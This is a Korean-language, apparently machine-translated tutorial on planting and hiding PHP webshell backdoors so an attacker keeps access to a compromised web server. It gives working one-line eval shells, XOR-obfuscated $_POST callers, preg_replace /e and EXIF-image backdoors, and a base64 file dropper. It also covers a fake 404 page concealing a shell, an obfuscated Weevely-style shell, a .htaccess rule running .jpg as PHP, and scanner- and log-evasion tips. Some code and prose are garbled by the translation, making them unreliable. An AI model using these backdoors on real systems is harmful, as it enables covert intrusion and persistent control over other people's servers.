테스트에 성공한 후에는 일반적으로 권한을 더 오랫동안 유지하고 싶을 것입니다. 백도어를 떠나는 작업은 일반적으로 데이터베이스 권한, 웹 권한 및 시스템 사용자를 포함하지만 이에 국한되지는 않습니다. 등. 이 기사에서는 폭스바겐의 백도어에 숨겨진 몇 가지 아이디어를 대중화할 것입니다.
AD:
0×00 서문
테스트에 성공하고 나면 일반적으로 권한을 더 오래 유지하고 싶은 것이 백도어를 떠나는 작업인 것 같습니다. 매우 중요합니다. 일반적으로 배포되는 백도어에는 데이터베이스 권한, 웹 권한, 시스템 사용자 권한 등이 포함되지만 이에 국한되지는 않습니다. 이 기사에서는 공개 백도어에 숨겨진 몇 가지 아이디어를 대중화할 것입니다. 🎜>PHP-WEBBACKDOOR를 예로 들어 다른 사람들에게 영감을 주세요
가장 일반적인 한 문장 백도어는 다음과 같이 작성할 수 있습니다
eval(
$ _POST[
'cmd']);?>
- 또는 이
$_POST['cmd']);?>
-
물론 이는 For information이라는 함수만 다릅니다. PHP에 의해 비활성화된 기능에 대해서는 php.ini에서 검색: 비활성화_함수를 참조하십시오.그러나 운영 및 유지 관리를 위해
과 같이 직관적으로 쉘을 찾을 수 있는 여러 가지 방법이 있습니다. Exception 발견 파일명/수정시간/크기, 파일 백업 비교◆Scanbackdoor.php/Pecker/shellDetect.php 등 WEBSHELL 백도어 스캐닝 스크립트와 각종 스캐너 등을 통해 백도어를 발견합니다.◆Access.log 접속 로그를 통해 백도어 발견◆ 또는 WAF에 의해 테스트 문장이 차단되고 경고 로그가 전송되는 등의 현상이 발생합니다. 일반적인 탐지 방법 중 셸을 숨기기 위한 일반적인 방법은 다음 7가지로 정리0×01 회피다양한 스캐닝 백도어 코드를 살펴보면 누구나 알고 있는 키워드를 남겨두고 셸에서는 소리 지르는 것이 절대 허용되지 않습니다
다음과 같은 일반적인 키워드:
◆시스템 명령 실행: system, passthru, shell_exec, exec, popen, proc_open
◆코드 실행: eval, Assert , call_user_func, base64_decode, gzinflate, gzuncompress, gzdecode, str_rot13◆파일 포함: require, require_once, include, include_once, file_get_contents, file_put_contents, fputs, fwrite과거 $_POST[0]($_POST[1]) 친구가 명령을 실행하는 데 현명하게 사용했지만 안타깝게도 지금은 스캐너의 감지를 피하기가 어렵지만 모든 것이 변하고 있습니다. 그리고 구축 방법은 무궁무진합니다 tudouya 동급생이 제공한 [FREEBUF 팁 구축](http://www.freebuf.com/articles/web/33824.html)@$_++;
// $_ = 1 - $__=("#"^"|"); // $__ = _
- $__.=("."^"~"); // _P
- $__.=("/ "^"`"); // _PO
- $__.=("|"^"/"); // _POS
- $__.=("{"^" /"); // _POST
- ${$__}[!$_](${ $__}[$_])
// $_POST[ 0]($_POST[1]) - ?> 건축세대는 물론 과하다 직관적으로 이렇게 쓰면 됩니다 $_++ ;
$__=(
"#"^"|").(
"."^"~").(- "/"^ "`").("|"^"/").( "{"^"/");@${$__}[!$_](${$__}[$_]);?> 그런 다음 일반적인 코드를 작성하여 위장하고 간단한 "안티 킬"을 입력합니다. 셸 샘플이 나타납니다올바르게 실행되며 일반 스캐너를 우회합니다. 이를 사용하여 새 임시 셸을 작성할 수도 있습니다.
0×02 기능
명령을 실행하기 위해 구문 기능을 사용하는 것도 흥미로운 방법입니다. 변수를 처리할 때 PHP 문법 기능을 빌려 큰따옴표 안의 데이터에 변수가 포함되어 있는지 분석합니다. 값) 예:${@eval( phpinfo())}
{}는 다음을 구문 분석할 수 있습니다. 큰따옴표 안의 변수 내용, @오류를 유지하고 실행 계속
그런 다음 숨겨진 백도어 구성을 시작할 수 있지만 여기 구조는 함수로 인한 명령 실행에 의존하려고 합니다. 그렇습니다. preg_replace-
"//e",
$ _POST['cmd'],
"");?>
- 이 게임 플레이는 분명히 스캐너 목록에 의해 해킹되었으며 간단한 수정
- function funfunc($str){}
- echo preg_replace("/(.+?)/ies", 'funfunc("1")', $_POST["cmd"])
- ?>
을(를) 실행했는데 찾을 수 없습니다
실행 방법은 명확합니다. 정규 매칭 {${phpinfo()}}가 funfunc에 전달되면 해당 코드가 실행됩니다.
- funfunc("{${phpinfo() }} ")
다른 방법
- "$arr="".$_GET[ 'cmd']."";");?>
0×03 포함
파일 포함은 누구나 시도해 본 방법이지만 포함을 위한 기술도 있습니다
일반적인 파일 포함은 단순히 특정 txt 또는 jpg를 포함하는 포함일 수도 있고, 심지어 포함을 직접 남겨도 취약점이지만 스캐너도 쉽게 찾을 수 있고, 추가로 포함된 파일도 쉽게 찾을 수 있습니다
이 스크립트를 보세요
-
- if (@isset($_GET[content]))
- {
- ,'w') file_put_contents(
'README',- " @file_put_contents(
'README',- $_GET[content],FILE_APPEND) fclose( $fp)
-
'README';} - ?> 일부 문제를 해결합니다. 필요에 따라 필요한 쉘을 생성한 다음 포함할 수 있습니다.
-
안타깝게도 file_put_contents와 같은 함수는 너무 민감하기 때문에 이를 통해 쉽게 찾을 수도 있습니다. 스캐닝 쉘은 액세스로 생성되는 인코딩 생성을 통해 생성됩니다.fputs(fopen(base64_decode(
'cGx1Z2luX20ucGhw'),w),base64_decode(- 'PD9waHAgQGFzc2VydCgkX1BPU1RbJ2NtZCddKTs/Pg==')) ?> 은 일부 스캐너를 회피할 수 있지만 이 모드도 더욱 눈길을 끌고, 생성된 새 파일은 탐지되지 않도록 숨겨야 합니다.
의 물론 휴리스틱과 같은 새로운 개념은 고려되지 않습니다- 이 방법이 요구 사항을 충족할 수 없으면 영리한 공격자가 다시 그림으로 돌아옵니다
$exif=exif_read_data ('./lol.jpg');preg_replace($exif[
'만들기'],$exif[- '모델'],''); ?> 참고: 1 JPG 이미지의 EXIF에 숨겨진 백도어 이번에는 이미지 말을 생성하기 위해 더 이상 단순히 /b를 복사할 필요가 없습니다. 또한 preg_replace 실행 파일의 특정 플래그를 빌릴 수도 있습니다.
여기 정의되지 않은 함수를 호출하라는 메시지가 표시될 수 있습니다.
에 이어 이 이미지 백도어는 preg_replace e 매개변수에 의존하고, PHP의 변수 구문 분석 실행에 의존하며, 마지막으로 파일 식별에 의존하여 이미지를 완성합니다. 쉘 어셈블리는 숨겨진 백도어를 처음 접하는 사람들에게 작은 알림입니다 물론 포함 지점이 있는 한 포함 파일의 형식은 error_log를 포함하여 다양합니다(필요할 수도 있지만). 폐쇄를 고려), 예상치 못한 일만 있을 뿐입니다…0×04 Hidden방문자들이 백도어의 존재를 알아차리지 못하도록 영리한 보안 연구원들도 상황을 혼란스럽게 할 것입니다
- "-//IETF//DTD HTML 2.0//EN"> > 404 찾을 수 없음 🎜>
- / h1>
-
요청한 URL을 이 서버에서 찾을 수 없습니다.
> 🎜>
@preg_replace(- "/[checksql]/e",
$_POST[- 'cmd'],
"saft" ; 🎜>- 그러나 많은 수의 로그에서 더 잘 숨길 수는 없습니다.
& lt;? php -
헤더 (<🎜 🎜> 'http/1.1 404'), 'cgx1z2lux20ugghw'), - base64_decode (<🎜 🎜> 'pd9wahgfzc2vydcgkx1bpu1rbj2ntzcdkts = cg.
- ob_end_clean() ?> real 404 네, 로그에도 마찬가지입니다
-
그런데 지금 이 순간 연결하려는 스크립트가 현재 디렉토리에 생성되었습니다
0×05 혼란
Weevely 도구를 사용해 본 사람들은 이것이 생성하는 안티 킬 쉘이 다음과 같다는 것을 알아야 합니다-
-
-
$kthe=- "JGEpPjgiMpeyRrPSgidwcyc7ZWNobyAnPCcgiugiJGsuJz4nOgi2V2YWwoYgimFzZTY0X2giRlY2gi9kgiZShwcmVn" place("w",""," stwrw_wrwepwlwawcwe");
-
-
$zrmt=
"JGM9J2NvdWgi50JzskgiYT0gikX0NgiPT0tJRgiTtpZihyZXNldCgkYSk9PSgidvbycggiJgiiYgJGMo"; ftdf("f", "",
"bfafsfef6f4_fdfefcodfe" )
>"lclrlelaltel_functlilon"); (- $ftdf(
"gi", - "", $zrmt.$kthe.$wmmi.$penh))); $rdwm();
- 터미널에 연결하면 이런 모습입니다
- Ps: 터미널 코드를 바꾸는 걸 깜빡했어요 스크린샷:(킬을 피하는 방법 고정된 영역에서 임의의 이름 변수를 생성한 다음 str_replace를 사용하여 base64_decode를 결합하고 명령을 실행하는 프로세스 물론 이것은 더 많은 것입니다. 스캐너를 피하기 위해 코드 수준에서 일반적인 난독화 시청각 방법: ◆파일 시간 수정◆업로드 후 이름을 바꾸고 폴더에 통합하므로 파일 이상을 사람이 눈으로 볼 수 없도록
- ◆가짜 파일 크기 처리(적어도 크기는 일반 스크립트처럼 보이도록)◆숨겨진 경로를 선택하고 가능한 한 적게 방문하세요◆변형된 디렉터리 %20
- 공간 디렉터리는 아직 상대적으로 쉽습니다. 발견된
0×06 파싱 - .htaccess를 사용하여 구문 분석 백도어 추가 as:AddType application/x-httpd-php .jpg
- 위 내용은 어디까지나 예시입니다0 ×07 기타
위의 방법을 요약하면 대부분은 취약점을 구축하는 과정에 지나지 않습니다. 취약점을 구축하는 코드는 백도어만큼 이상할 수도 있고, 섬세하고 우아하게 작성할 수도 있습니다. 간단하고 투박하지만 적용되는 상황은 다릅니다. 아이디어를 잘 통합할 수 있다면 자신만의 숨겨진 쉘을 구성하는 것은 어렵지 않습니다. 위 내용은 단지 경험을 요약한 것입니다. 여러분의 생각을 공유해 보세요.
위 내용은 관련 내용을 포함하여 PHP 백도어 숨기기 및 유지 관리 기술을 소개하고 있으며, PHP 튜토리얼에 관심이 있는 친구들에게 도움이 되기를 바랍니다.